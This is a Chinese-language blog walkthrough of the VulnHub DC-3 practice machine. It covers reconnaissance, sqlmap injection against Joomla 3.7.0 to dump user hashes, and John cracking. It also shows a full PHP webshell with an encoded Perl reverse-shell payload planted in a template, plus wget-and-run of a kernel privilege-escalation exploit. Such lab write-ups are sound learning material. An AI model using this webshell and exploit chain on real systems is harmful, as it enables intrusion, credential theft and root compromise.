• vulnhub靶机-DC系列-DC-3


    信息收集

    主机扫描

    arp-scan -l
    
    • 1

    image-20230928110452414

    可以用netdiscover 它是一个主动/被动的ARP 侦查工具。使用Netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求

    netdiscover -r 192.168.160.0/24
    
    • 1

    说明:

    • netdiscover: 这是一个网络探测工具的命令,用于执行本地网络中的主机发现。
    • -r 192.168.160.0/24: 这是一个命令的选项参数,指定了要进行主机发现的 IP 地址范围。在这个例子中,IP 地址范围是 192.168.160.0/24,表示从 192.168.160.1192.168.160.254 的所有 IP 地址。

    当执行这个命令时,netdiscover 将发送 ARP 请求广播到指定的 IP 地址范围内的每个主机,并通过监听并收集其回应来确定哪些主机是活动的。通过这种方式,可以快速发现目标网络中的活动主机,以便进行进一步的分析或测试。

    image-20230928115237049

    端口扫描

    nmap -A 192.168.160.35 
    
    • 1

    说明:

    ​ -A #全面扫描

    nmap扫描工具使用

    image-20230928115455076

    发现80端口可用,用的是Joomlacms

    浏览器访问DC-3的 80端口,用Wappalyzer插件,也可以看出是Joomla

    发现80端口可用,用的是Joomlacms

    浏览器访问DC-3的 80端口,用Wappalyzer插件,也可以看出是Joomla

    image-20230928115656525

    目录爆破

    sudo python3 dirsearch.py -u 192.168.160.35 -i 200
    
    • 1

    说明:

    -u URL # URL目标
    -i #状态码

    image-20230928144854404

    也可以用御剑后台扫描工具

    image-20230928150120062

    也可以用nikto扫描 Nikto

    image-20230928150450979

    进入后台管理页面

    image-20230928150824051

    image-20230928151157653

    漏洞查找

    joomscan

    joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具。

    joomscan -u 192.168.160.35
    
    • 1

    image-20230928175049004

    searchsploit

    searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南

    searchsploit是一个基于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
    Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。

    # 搜索 joomla 3.7.0版本的漏洞
    searchsploit joomla 3.7.0
    
    • 1
    • 2

    image-20230928152747066

    发现有SQL注入漏洞和跨站脚本漏洞


    使用find命令找出42033.txt的位置

    find / -name '42033.txt'
    
    • 1

    image-20230928152938854

    查看文件内容

    cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
    
    • 1

    image-20230928153124436

    给出了注入方法

    漏洞利用
    SQL注入
    • 列出所有数据库
    sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  
    
    • 1

    说明:

    • -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml": 这是一个选项参数,指定要进行注入测试的目标 URL。在这个例子中,目标 URL 是 http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml
    • --risk=3: 这是一个选项参数,指定进行注入测试的风险级别(0-3,默认为1)。这里,风险级别被设置为 3,表示使用最高的风险级别进行测试。风险级别越低但是越安全
    • --level=5: 这是一个选项参数,指定进行注入测试的深度级别。sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
    • --random-agent: 这是一个选项参数,指定在测试请求中使用随机的 User-Agent 头,以隐藏工具的身份。
    • --dbs: 这是一个选项参数,指示 sqlmap 在发现数据库后列出数据库名称。
    • -p list[fullordering]: 这是一个选项参数,指定要测试的注入点参数。在这个例子中,参数 list[fullordering] 被指定为注入点。

    执行这个命令时,sqlmap 将使用给定的参数和选项对目标 URL 进行注入测试。它将尝试发现 SQL 注入漏洞,并进一步探测和利用这些漏洞。通过设置风险级别和深度级别,可以增强测试的准确性和深度。

    image-20230928154056375

    执行结果:

    image-20230928154129688

    • 列出指定数据库的所有表

      sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
      
      • 1

      说明:

      --tables # 列出表

      执行结果:

      image-20230928155641772

    • 列出指定库指定表的字段名

      sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --column  -p list[fullordering]
      
      • 1

    image-20230928160334098

    • 获取用户名和密码
    sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password  -p list[fullordering] --dump
    
    • 1

    说明:

    • -D joomladb: 这是一个选项参数,指定要查询的数据库名称。在这里数据库名称被指定为 joomladb
    • -T "#__users": 这是一个选项参数,指定要查询的数据表名称。这里数据表名称被指定为 #__users
    • -C username,password: 这是一个选项参数,指定要查询和显示的列名称。这里列名称被指定为 usernamepassword
    • -p list[fullordering]: 这是一个选项参数,指定要测试的注入点参数。这里参数 list[fullordering] 被指定为注入点。
    • --dump: 这是一个选项参数,指示 sqlmap 在发现脆弱点后,从数据库中导出数据。

    image-20230928160805392

    执行结果:

    image-20230928160821299

    发现用户的密码做了加密

    John工具密码爆破

    john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。

    利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明

    先在桌面创建一个文件,将得到的用户密码的hash值复制进去并保存,使用john破解。

    image-20230928161938876

    john passwd.txt
    
    • 1

    执行结果:

    image-20230928162145975

    得到密码后,登录后台界面

    反弹shell

    登陆后,就要开始寻找有没有可以getshell的地方,这类的cms肯定是有上传文件的地方,这里可以上传一个一句话木马,用蚁剑进行连接,也可以写一个php,反弹shell到我们的攻击机上,这边,经过寻找发现了有个templates的beez3的目录

    image-20230928162720294

    image-20230928162805035

    image-20230928162824698

    image-20230928162905931

    写入php反弹shell

    在这里插入图片描述

    反弹代码:

    
    function which($pr) {
    	$path = execute("which $pr");
    	return ($path ? $path : $pr);
    	}
    function execute($cfe) {
    	$res = '';
    	if ($cfe) {
    		if(function_exists('exec')) {
    			@exec($cfe,$res);
    			$res = join("\n",$res);
    			} 
    			elseif(function_exists('shell_exec')) {
    			$res = @shell_exec($cfe);
    			} elseif(function_exists('system')) {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    } elseif(function_exists('passthru')) {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
    $res = '';
    while(!@feof($f)) {
    $res .= @fread($f,1024);
    }
    @pclose($f);
    }
    }
    return $res;
    }
    function cf($fname,$text){
    if($fp=@fopen($fname,'w')) {
    @fputs($fp,@base64_decode($text));
    @fclose($fp);
    }
    }
    $yourip = "your IP";
    $yourport = 'your port';
    $usedb = array('perl'=>'perl','c'=>'c');
    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    cf('/tmp/.bc',$back_connect);
    $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
    ?> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的shell路径为

    http://192.168.160.35/templates/beez3/webshell.php
    
    • 1

    用kali来监听

    nc -lvvp 7777
    
    • 1

    image-20230928164322017

    浏览器访问shell.php的地址http://192.168.160.35/templates/beez3/webshell.php

    image-20230928164358398

    反弹成功!!!

    image-20230928164424650

    Get交互shell

    python3 -c 'import pty; pty.spawn("/bin/bash")'
    
    • 1

    说明:

    • python3: 这是执行 Python 解释器的命令。
    • -c 'import pty; pty.spawn("/bin/bash")': 这是一个以字符串方式传递给 Python 解释器的脚本。脚本导入了 pty 模块,并使用 pty.spawn() 函数来启动一个新的 /bin/bash 终端。

    当你在终端中执行这个命令时,它会调用 Python 解释器并执行指定的脚本。脚本导入 pty 模块,并使用 pty.spawn() 函数来生成一个新的伪终端(shell)。这样,你就可以与一个交互式的终端进行交互,就像运行 /bin/bash 一样。

    它通常在渗透测试或特权升级等情况下使用。它允许将一个非交互式的终端(shell)转变为一个可交互的终端,从而获取更多的权限和控制。

    image-20230928164736863

    交互shell获取成功,但是还不是root权限

    提权

    查看操作系统版本信息

    tac /etc/issue
    
    • 1

    说明:

    tac 是一个命令行工具,用于反向显示文件的内容。/etc/issue 是一个特定的文件路径,代表系统登录时显示的欢迎信息。

    当你在终端中执行 tac /etc/issue 命令时,它会打开 /etc/issue 文件并以相反的顺序显示文件的内容。换句话说,它会将文件的最后一行显示在第一行,倒数第二行显示在第二行,以此类推,直到第一行显示在最后。

    在许多 Linux 发行版中,/etc/issue 文件通常包含一个欢迎信息,用于在用户登录或启动时显示系统的版本、主机名等相关信息。使用 tac /etc/issue 命令可以反向显示这个欢迎信息,从底部开始逐行显示。

    image-20230928165217932

    cat /proc/version
    
    • 1

    说明:

    cat /proc/version 是一个用于在 Linux 系统中查看内核版本信息的命令。

    在 Linux 中,/proc 目录是一个虚拟文件系统,提供了对运行中的内核和进程信息的访问。其中的 /proc/version 文件包含有关内核版本的详细信息。

    image-20230928165731250

    再次使用searchsploit工具搜索漏洞

    searchsploit Ubuntu 16.04
    
    • 1

    image-20230928170302284

    Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式

    使用find命令查找路径

    find / -name '39772.txt'
    
    • 1

    执行结果:

    image-20230928170537979

    绝对路径为:/usr/share/exploitdb/exploits/linux/local/39772.txt

    也可以直接用searchsploit -p linux/local/39772.txt会直接显示出绝对路径

    image-20230928170753467

    cat /usr/share/exploitdb/exploits/linux/local/39772.txt
    
    • 1

    image-20230928171105293

    溢出提权(exp提权)

    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

    下载39772.zip,粘贴复制到kali里(不能拖到kali里面,否则会出现丢包的现象)

    image-20230928171407746

    image-20230928171423420

    在桌面开启http服务,将下载好的文件导入到DC-3靶机里

    python3 -m http.server 8888
    
    • 1

    image-20230928172418850

    浏览器进行访问http://192.168.160.32:8888

    image-20230928172350338

    出现这个说明服务开启成功,exp地址是

    http://192.168.160.32:8888/39772/exploit.tar

    回到刚才的python交互shell

    wget http://192.168.160.32:8888/39772/exploit.tar
    
    • 1

    image-20230928172619740

    image-20230928172710189

    下载完后用tar命令解压该压缩包

    tar -xvf exploit.tar
    
    • 1

    image-20230928172829442

    cd ebpf_mapfd_doubleput_exploit
    
    • 1

    image-20230928172919917

    执行

    ./compile.sh
    ./doubleput
    
    • 1
    • 2

    image-20230928173222433

    使用whoamiid查看当前用户和用户id

    image-20230928173324353

    切换到root的家目录

    image-20230928173507534

    查看the-flag.txt

    image-20230928173551641

  • 相关阅读:
    React 中事件的类型定义
    今日话题:---自卑
    在 Python 3 中删除字符串文字前面的“b“字符
    信息化发展47
    程序员个性终端指南(cmder、powershell、window terminal)
    什么是计算机蠕虫?
    KubeSphere安装mysql8
    HCNP Routing&Switching之链路聚合
    指针与数组
    方舟生存进化自建服务器要多少成本?
  • 原文地址:https://blog.csdn.net/qq_45953122/article/details/133387836